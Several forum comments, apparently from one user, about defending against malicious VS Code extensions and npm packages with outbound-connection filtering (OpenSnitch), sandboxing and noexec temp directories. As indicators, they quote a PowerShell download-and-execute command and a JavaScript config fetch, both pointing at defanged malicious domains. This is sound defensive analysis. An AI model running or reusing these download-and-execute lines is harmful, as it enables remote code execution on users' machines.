gus_
Joined 7 years ago
Joined 7 years ago
2. restrict outbound connections to known malicious IPs or domains.
3. run untrusted code/apps:
- under a different user
- or inside a sandbox
- or in a VM
4. remove exec permissions to temporary directories (/tmp, /var/tmp, /dev/shm)In this particular malware campaign, the malware contained a rootkit which hid precisely some of its activity:
https://github.com/gustavo-iniguez-goya/decloaker/discussion...
https://www.reddit.com/r/linux_gaming/comments/1u34pe3/comme...
- This is a new repository, not a fork
- All repositories have different contributors and different names
From the last two points, it becomes clear that even if we find one such repository, we won’t be able to find other similar repositories using it.
In previous campaigns the repositories were linked to a few users. But those users had starred other users, that at the same time had also cloned other repositories with the malware. Sometimes the malicious repository had been cloned from another malicious repo, and if you listed the repositories and "friends" of that user, all were part of the botnet.Also, github doesn't delete repositories and accounts, they mark them as deleted. If you use their api you can still list them.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicio...Or this one:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...
so maybe it's not bulletproof, but it helps to mitigate these threats.
> The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".
They'll get there, maybe. But the reality is that right now, everyone allows outbound requests blindly.
Instead of speculating, I suggest to actually investigate current IOCs and common tactics of malicious npm/pip/plugins/VS extensions. Something like this:
https://github.com/evilsocket/opensnitch/discussions/1119
Or use OpenSnitch (or Lulu, Glasswire, ZoneAlarm anyone?:D etc) to actually analyze real VS malicious extensions or npm packages and see if it stops the exfiltration, and if not, suggest ways to improve it. For example:
https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...
I'd love to see a real example/PoC.
Anyway, we discussed this issue in the other thread. For me, unrestricted outbound requests to any url, whether it's well known domains like api.github.com or any other domain, are a red flag.
Why does VS need to establish outbound requests to any domain, without authorization?
There's no magic solution, and these attacks will evolve, but I still think that restricting outbound requests is a good measure to mitigate these attacks.
> slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.
Isolating applications can also mitigate the impact of these attacks. For example, you can restrict VS code to only share with the host .vscode/, .git/ and other directories. Even by project. Again, it's not bulletproof, but helps.
But for the time being, the common entry vector is clear:
https://github.com/evilsocket/opensnitch/discussions/1119
> 2) trigger a tab open to attacker's website
be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.
yesterday discussion https://news.ycombinator.com/item?id=48191680
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
if you don't need curl/wget, just uninstall them, also from the docker container/image.mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
[0] https://github.com/gustavo-iniguez-goya/decloaker
[1] https://chkrootkit.org